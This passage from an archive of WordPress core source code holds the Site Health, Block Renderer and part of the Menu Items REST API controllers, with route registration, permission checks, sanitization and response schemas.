				$this->rest_base,
				'authorization-header'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_authorization_header' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'authorization_header' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s',
				'directory-sizes'
			),
			array(
				'methods'             => 'GET',
				'callback'            => array( $this, 'get_directory_sizes' ),
				'permission_callback' => function () {
					return $this->validate_request_permission( 'directory_sizes' ) && ! is_multisite();
				},
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'page-cache'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_page_cache' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'page_cache' );
					},
				),
			)
		);
	}

	/**
	 * Validates if the current user can request this REST endpoint.
	 *
	 * @since 5.6.0
	 *
	 * @param string $check The endpoint check being ran.
	 * @return bool
	 */
	protected function validate_request_permission( $check ) {
		$default_capability = 'view_site_health_checks';

		/**
		 * Filters the capability needed to run a given Site Health check.
		 *
		 * @since 5.6.0
		 *
		 * @param string $default_capability The default capability required for this check.
		 * @param string $check              The Site Health check being performed.
		 */
		$capability = apply_filters( "site_health_test_rest_capability_{$check}", $default_capability, $check );

		return current_user_can( $capability );
	}

	/**
	 * Checks if background updates work as expected.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_background_updates() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_background_updates();
	}

	/**
	 * Checks that the site can reach the WordPress.org API.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_dotorg_communication() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_dotorg_communication();
	}

	/**
	 * Checks that loopbacks can be performed.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_loopback_requests() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_loopback_requests();
	}

	/**
	 * Checks that the site's frontend can be accessed over HTTPS.
	 *
	 * @since 5.7.0
	 *
	 * @return array
	 */
	public function test_https_status() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_https_status();
	}

	/**
	 * Checks that the authorization header is valid.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_authorization_header() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_authorization_header();
	}

	/**
	 * Checks that full page cache is active.
	 *
	 * @since 6.1.0
	 *
	 * @return array The test result.
	 */
	public function test_page_cache() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_page_cache();
	}

	/**
	 * Gets the current directory sizes for this install.
	 *
	 * @since 5.6.0
	 *
	 * @return array|WP_Error
	 */
	public function get_directory_sizes() {
		if ( ! class_exists( 'WP_Debug_Data' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
		}

		$this->load_admin_textdomain();

		$sizes_data = WP_Debug_Data::get_sizes();
		$all_sizes  = array( 'raw' => 0 );

		foreach ( $sizes_data as $name => $value ) {
			$name = sanitize_text_field( $name );
			$data = array();

			if ( isset( $value['size'] ) ) {
				if ( is_string( $value['size'] ) ) {
					$data['size'] = sanitize_text_field( $value['size'] );
				} else {
					$data['size'] = (int) $value['size'];
				}
			}

			if ( isset( $value['debug'] ) ) {
				if ( is_string( $value['debug'] ) ) {
					$data['debug'] = sanitize_text_field( $value['debug'] );
				} else {
					$data['debug'] = (int) $value['debug'];
				}
			}

			if ( ! empty( $value['raw'] ) ) {
				$data['raw'] = (int) $value['raw'];
			}

			$all_sizes[ $name ] = $data;
		}

		if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) {
			return new WP_Error( 'not_available', __( 'Directory sizes could not be returned.' ), array( 'status' => 500 ) );
		}

		return $all_sizes;
	}

	/**
	 * Loads the admin textdomain for Site Health tests.
	 *
	 * The {@see WP_Site_Health} class is defined in WP-Admin, while the REST API operates in a front-end context.
	 * This means that the translations for Site Health won't be loaded by default in {@see load_default_textdomain()}.
	 *
	 * @since 5.6.0
	 */
	protected function load_admin_textdomain() {
		// Accounts for inner REST API requests in the admin.
		if ( ! is_admin() ) {
			$locale = determine_locale();
			load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo", $locale );
		}
	}

	/**
	 * Gets the schema for each site health test.
	 *
	 * @since 5.6.0
	 *
	 * @return array The test schema.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->schema;
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'wp-site-health-test',
			'type'       => 'object',
			'properties' => array(
				'test'        => array(
					'type'        => 'string',
					'description' => __( 'The name of the test being run.' ),
					'readonly'    => true,
				),
				'label'       => array(
					'type'        => 'string',
					'description' => __( 'A label describing the test.' ),
					'readonly'    => true,
				),
				'status'      => array(
					'type'        => 'string',
					'description' => __( 'The status of the test.' ),
					'enum'        => array( 'good', 'recommended', 'critical' ),
					'readonly'    => true,
				),
				'badge'       => array(
					'type'        => 'object',
					'description' => __( 'The category this test is grouped in.' ),
					'properties'  => array(
						'label' => array(
							'type'     => 'string',
							'readonly' => true,
						),
						'color' => array(
							'type'     => 'string',
							'enum'     => array( 'blue', 'orange', 'red', 'green', 'purple', 'gray' ),
							'readonly' => true,
						),
					),
					'readonly'    => true,
				),
				'description' => array(
					'type'        => 'string',
					'description' => __( 'A more descriptive explanation of what the test looks for, and why it is important for the user.' ),
					'readonly'    => true,
				),
				'actions'     => array(
					'type'        => 'string',
					'description' => __( 'HTML containing an action to direct the user to where they can resolve the issue.' ),
					'readonly'    => true,
				),
			),
		);

		return $this->schema;
	}
}
endpoints/class-wp-rest-block-renderer-controller.php000066600000013312152442706000017045 0ustar00<?php
/**
 * Block Renderer REST API: WP_REST_Block_Renderer_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides REST endpoint for rendering a block.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Renderer_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-renderer';
	}

	/**
	 * Registers the necessary REST API routes, one for each dynamic block.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<name>[a-z0-9-]+/[a-z0-9-]+)',
			array(
				'args'   => array(
					'name' => array(
						'description' => __( 'Unique registered name for the block.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => array( WP_REST_Server::READABLE, WP_REST_Server::CREATABLE ),
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context'    => $this->get_context_param( array( 'default' => 'view' ) ),
						'attributes' => array(
							'description'       => __( 'Attributes for the block.' ),
							'type'              => 'object',
							'default'           => array(),
							'validate_callback' => static function ( $value, $request ) {
								$block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] );

								if ( ! $block ) {
									// This will get rejected in ::get_item().
									return true;
								}

								$schema = array(
									'type'                 => 'object',
									'properties'           => $block->get_attributes(),
									'additionalProperties' => false,
								);

								return rest_validate_value_from_schema( $value, $schema );
							},
							'sanitize_callback' => static function ( $value, $request ) {
								$block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] );

								if ( ! $block ) {
									// This will get rejected in ::get_item().
									return true;
								}

								$schema = array(
									'type'                 => 'object',
									'properties'           => $block->get_attributes(),
									'additionalProperties' => false,
								);

								return rest_sanitize_value_from_schema( $value, $schema );
							},
						),
						'post_id'    => array(
							'description' => __( 'ID of the post context.' ),
							'type'        => 'integer',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read blocks.
	 *
	 * @since 5.0.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_REST_Request $request Request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0;

		if ( $post_id > 0 ) {
			$post = get_post( $post_id );

			if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks of this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		} else {
			if ( ! current_user_can( 'edit_posts' ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks as this user.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Returns block output from block's registered render_callback.
	 *
	 * @since 5.0.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0;

		if ( $post_id > 0 ) {
			$post = get_post( $post_id );

			// Set up postdata since this will be needed if post_id was set.
			setup_postdata( $post );
		}

		$registry   = WP_Block_Type_Registry::get_instance();
		$registered = $registry->get_registered( $request['name'] );

		if ( null === $registered || ! $registered->is_dynamic() ) {
			return new WP_Error(
				'block_invalid',
				__( 'Invalid block.' ),
				array(
					'status' => 404,
				)
			);
		}

		$attributes = $request->get_param( 'attributes' );

		// Create an array representation simulating the output of parse_blocks.
		$block = array(
			'blockName'    => $request['name'],
			'attrs'        => $attributes,
			'innerHTML'    => '',
			'innerContent' => array(),
		);

		// Render using render_block to ensure all relevant filters are used.
		$data = array(
			'rendered' => render_block( $block ),
		);

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves block's output schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->schema;
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/schema#',
			'title'      => 'rendered-block',
			'type'       => 'object',
			'properties' => array(
				'rendered' => array(
					'description' => __( 'The rendered block.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'edit' ),
				),
			),
		);

		return $this->schema;
	}
}
endpoints/class-wp-rest-menu-items-controller.php000066600000100765152442706000016243 0ustar00<?php
/**
 * REST API: WP_REST_Menu_Items_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class to access nav items via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Menu_Items_Controller extends WP_REST_Posts_Controller {

	/**
	 * Gets the nav menu item, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return object|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_nav_menu_item( $id ) {
		$post = $this->get_post( $id );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		return wp_setup_nav_menu_item( $post );
	}

	/**
	 * Checks if a given request has access to read menu items.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$has_permission = parent::get_items_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks if a given request has access to read a menu item if they have access to edit them.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$permission_check = parent::get_item_permissions_check( $request );

		if ( true !== $permission_check ) {
			return $permission_check;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * This allows for any user that can `edit_theme_options` or edit any REST API available post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/**
		 * Filters whether the current user has read access to menu items via the REST API.
		 *
		 * @since 6.8.0
		 *
		 * @param bool               $read_only_access Whether the current user has read access to menu items
		 *                                             via the REST API.
		 * @param WP_REST_Request    $request          Full details about the request.
		 * @param WP_REST_Controller $controller       The current instance of the controller.
		 */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view menu items.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Creates a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) );
		}

		$prepared_nav_item = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_nav_item ) ) {
			return $prepared_nav_item;
		}
		$prepared_nav_item = (array) $prepared_nav_item;

		$nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false );
		if ( is_wp_error( $nav_menu_item_id ) ) {
			if ( 'db_insert_error' === $nav_menu_item_id->get_error_code() ) {
				$nav_menu_item_id->add_data( array( 'status' => 500 ) );
			} else {
				$nav_menu_item_id->add_data( array( 'status' => 400 ) );
			}

			return $nav_menu_item_id;
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		if ( is_wp_error( $nav_menu_item ) ) {
			$nav_menu_item->add_data( array( 'status' => 404 ) );

			return $nav_menu_item;
		}

		/**
		 * Fires after a single menu item is created or updated via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Request $request       Request object.
		 * @param bool            $creating      True when creating a menu item, false when updating.
		 */
		do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		$fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single menu item is completely created or updated via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Request $request       Request object.
		 * @param bool            $creating      True when creating a menu item, false when updating.
		 */
		do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, true );

		$post = get_post( $nav_menu_item_id );
		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $nav_menu_item_id ) ) );

		return $response;
	}

	/**
	 * Updates a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_nav_menu_item( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}
		$post_before       = get_post( $request['id'] );
		$prepared_nav_item = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_nav_item ) ) {
			return $prepared_nav_item;
		}

		$prepared_nav_item = (array) $prepared_nav_item;

		$nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false );

		if ( is_wp_error( $nav_menu_item_id ) ) {
			if ( 'db_update_error' === $nav_menu_item_id->get_error_code() ) {
				$nav_menu_item_id->add_data( array( 'status' => 500 ) );
			} else {
				$nav_menu_item_id->add_data( array( 'status' => 400 ) );
			}

			return $nav_menu_item_id;
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		if ( is_wp_error( $nav_menu_item ) ) {
			$nav_menu_item->add_data( array( 'status' => 404 ) );

			return $nav_menu_item;
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $nav_menu_item_id );
		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		$fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, false );

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( get_post( $nav_menu_item_id ), $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Deletes a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error True on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$menu_item = $this->get_nav_menu_item( $request['id'] );
		if ( is_wp_error( $menu_item ) ) {
			return $menu_item;
		}

		// We don't support trashing for menu items.
		if ( ! $request['force'] ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menu items do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$previous = $this->prepare_item_for_response( get_post( $request['id'] ), $request );

		$result = wp_delete_post( $request['id'], true );

		if ( ! $result ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires immediately after a single menu item is deleted via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request $request       Request object.
		 */
		do_action( 'rest_delete_nav_menu_item', $menu_item, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single nav menu item for create or update.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Request object.
	 *
	 * @return object|WP_Error
	 */
	protected function prepare_item_for_database( $request ) {
		$menu_item_db_id = $request['id'];
		$menu_item_obj   = $this->get_nav_menu_item( $menu_item_db_id );
		// Need to persist the menu item data. See https://core.trac.wordpress.org/ticket/28138
		if ( ! is_wp_error( $menu_item_obj ) ) {
			// Correct the menu position if this was the first item. See https://core.trac.wordpress.org/ticket/28140
			$position = ( 0 === $menu_item_obj->menu_order ) ? 1 : $menu_item_obj->menu_order;

			$prepared_nav_item = array(
				'menu-item-db-id'       => $menu_item_db_id,
				'menu-item-object-id'   => $menu_item_obj->object_id,
				'menu-item-object'      => $menu_item_obj->object,
				'menu-item-parent-id'   => $menu_item_obj->menu_item_parent,
				'menu-item-position'    => $position,
				'menu-item-type'        => $menu_item_obj->type,
				'menu-item-title'       => $menu_item_obj->title,
				'menu-item-url'         => $menu_item_obj->url,
				'menu-item-description' => $menu_item_obj->description,
				'menu-item-attr-title'  => $menu_item_obj->attr_title,
				'menu-item-target'      => $menu_item_obj->target,
				'menu-item-classes'     => $menu_item_obj->classes,
				// Stored in the database as a string.
				'menu-item-xfn'         => explode( ' ', $menu_item_obj->xfn ),
				'menu-item-status'      => $menu_item_obj->post_status,
				'menu-id'               => $this->get_menu_id( $menu_item_db_id ),
			);
		} else {
			$prepared_nav_item = array(
				'menu-id'               => 0,
				'menu-item-db-id'       => 0,
				'menu-item-object-id'   => 0,
				'menu-item-object'      => '',
				'menu-item-parent-id'   => 0,
				'menu-item-position'    => 1,
				'menu-item-type'        => 'custom',
				'menu-item-title'       => '',
				'menu-item-url'         => '',
				'menu-item-description' => '',
				'menu-item-attr-title'  => '',
				'menu-item-target'      => '',
				'menu-item-classes'     => array(),
				'menu-item-xfn'         => array(),
				'menu-item-status'      => 'publish',
			);
		}

		$mapping = array(
			'menu-item-db-id'       => 'id',
			'menu-item-object-id'   => 'object_id',
			'menu-item-object'      => 'object',
			'menu-item-parent-id'   => 'parent',
			'menu-item-position'    => 'menu_order',
			'menu-item-type'        => 'type',
			'menu-item-url'         => 'url',
			'menu-item-description' => 'description',
			'menu-item-attr-title'  => 'attr_title',
			'menu-item-target'      => 'target',
			'menu-item-classes'     => 'classes',
			'menu-item-xfn'         => 'xfn',
			'menu-item-status'      => 'status',
		);

		$schema = $this->get_item_schema();

		foreach ( $mapping as $original => $api_request ) {
			if ( isset( $request[ $api_request ] ) ) {
				$prepared_nav_item[ $original ] = $request[ $api_request ];
			}
		}

		$taxonomy = get_taxonomy( 'nav_menu' );
		$base     = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
		// If menus submitted, cast to int.
		if ( ! empty( $request[ $base ] ) ) {
			$prepared_nav_item['menu-id'] = absint( $request[ $base ] );
		}

		// Nav menu title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_nav_item['menu-item-title'] = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_nav_item['menu-item-title'] = $request['title']['raw'];
			}
		}

		$error = new WP_Error();

		// Check if object id exists before saving.
		if ( ! $prepared_nav_item['menu-item-object'] ) {
			// If taxonomy, check if term exists.
			if ( 'taxonomy' === $prepared_nav_item['menu-item-type'] ) {
				$original = get_term( absint( $prepared_nav_item['menu-item-object-id'] ) );
				if ( empty( $original ) || is_wp_error( $original ) ) {
					$error->add( 'rest_term_invalid_id', __( 'Invalid term ID.' ), array( 'status' => 400 ) );
				} else {
					$prepared_nav_item['menu-item-object'] = get_term_field( 'taxonomy', $original );
				}
				// If post, check if post object exists.
			} elseif ( 'post_type' === $prepared_nav_item['menu-item-type'] ) {
				$original = get_post( absint( $prepared_nav_item['menu-item-object-id'] ) );
				if ( empty( $original ) ) {
					$error->add( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400 ) );
				} else {
					$prepared_nav_item['menu-item-object'] = get_post_type( $original );
				}
			}
		}

		// If post type archive, check if post type exists.
		if ( 'post_type_archive' === $prepared_nav_item['menu-item-type'] ) {
			$post_type = $prepared_nav_item['menu-item-object'] ? $prepared_nav_item['menu-item-object'] : false;
			$original  = get_post_type_object( $post_type );
			if ( ! $original ) {
				$error->add( 'rest_post_invalid_type', __( 'Invalid post type.' ), array( 'status' => 400 ) );
			}
		}

		// Check if menu item is type custom, then title and url are required.
		if ( 'custom' === $prepared_nav_item['menu-item-type'] ) {
			if ( '' === $prepared_nav_item['menu-item-title'] ) {
				$error->add( 'rest_title_required', __( 'The title is required when using a custom menu item type.' ), array( 'status' => 400 ) );
			}
			if ( empty( $prepared_nav_item['menu-item-url'] ) ) {
				$error->add( 'rest_url_required', __( 'The url is required when using a custom menu item type.' ), array( 'status' => 400 ) );
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		// The xfn and classes properties are arrays, but passed to wp_update_nav_menu_item as a string.
		foreach ( array( 'menu-item-xfn', 'menu-item-classes' ) as $key ) {
			$prepared_nav_item[ $key ] = implode( ' ', $prepared_nav_item[ $key ] );
		}

		// Only draft / publish are valid post status for menu items.
		if ( 'publish' !== $prepared_nav_item['menu-item-status'] ) {
			$prepared_nav_item['menu-item-status'] = 'draft';
		}

		$prepared_nav_item = (object) $prepared_nav_item;

		/**
		 * Filters a menu item before it is inserted via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $prepared_nav_item An object representing a single menu item prepared
		 *                                           for inserting or updating the database.
		 * @param WP_REST_Request $request           Request object.
		 */
		return apply_filters( 'rest_pre_insert_nav_menu_item', $prepared_nav_item, $request );
	}

	/**
	 * Prepares a single nav menu item output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Base fields for every post.
		$fields    = $this->get_fields_for_response( $request );
		$menu_item = $this->get_nav_menu_item( $item->ID );
		$data      = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $menu_item->ID;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}

		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $menu_item->title;
		}

		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			/** This filter is documented in wp-includes/post-template.php */
			$title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID );

			$data['title']['rendered'] = $title;

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $menu_item->post_status;
		}

		if ( rest_is_field_included( 'url', $fields ) ) {
			$data['url'] = $menu_item->url;
		}

		if ( rest_is_field_included( 'attr_title', $fields ) ) {
			// Same as post_excerpt.
			$data['attr_title'] = $menu_item->attr_title;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			// Same as post_content.
			$data['description'] = $menu_item->description;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $menu_item->type;
		}

		if ( rest_is_field_included( 'type_label', $fields ) ) {
			$data['type_label'] = $menu_item->type_label;
		}

		if ( rest_is_field_included( 'object', $fields ) ) {
			$data['object'] = $menu_item->object;
		}

		if ( rest_is_field_included( 'object_id', $fields ) ) {
			// It is stored as a string, but should be exposed as an integer.
			$data['object_id'] = absint( $menu_item->object_id );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			// Same as post_parent, exposed as an integer.
			$data['parent'] = (int) $menu_item->menu_item_parent;
		}

		if ( rest_is_field_included( 'menu_order', $fields ) ) {
			// Same as post_parent, exposed as an integer.
			$data['menu_order'] = (int) $menu_item->menu_order;
		}

		if ( rest_is_field_included( 'target', $fields ) ) {
			$data['target'] = $menu_item->target;
		}

		if ( rest_is_field_included( 'classes', $fields ) ) {
			$data['classes'] = (array) $menu_item->classes;
		}

		if ( rest_is_field_included( 'xfn', $fields ) ) {
			$data['xfn'] = array_map( 'sanitize_html_class', explode( ' ', $menu_item->xfn ) );
		}

		if ( rest_is_field_included( 'invalid', $fields ) ) {
			$data['invalid'] = (bool) $menu_item->_invalid;
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $menu_item->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( rest_is_field_included( $base, $fields ) ) {
				$terms = get_the_terms( $item, $taxonomy->name );
				if ( ! is_array( $terms ) ) {
					continue;
				}
				$term_ids = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
				if ( 'nav_menu' === $taxonomy->name ) {
					$data[ $base ] = $term_ids ? array_shift( $term_ids ) : 0;
				} else {
					$data[ $base ] = $term_ids;
				}
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );

			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $item, $request );

				$self = $links['self']['href'];

				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		/**
		 * Filters the menu item data for a REST API response.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response  The response object.
		 * @param object           $menu_item Menu item setup by {@see wp_setup_nav_menu_item()}.
		 * @param WP_REST_Request  $request   Request object.
		 */
		return apply_filters( 'rest_prepare_nav_menu_item', $response, $menu_item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
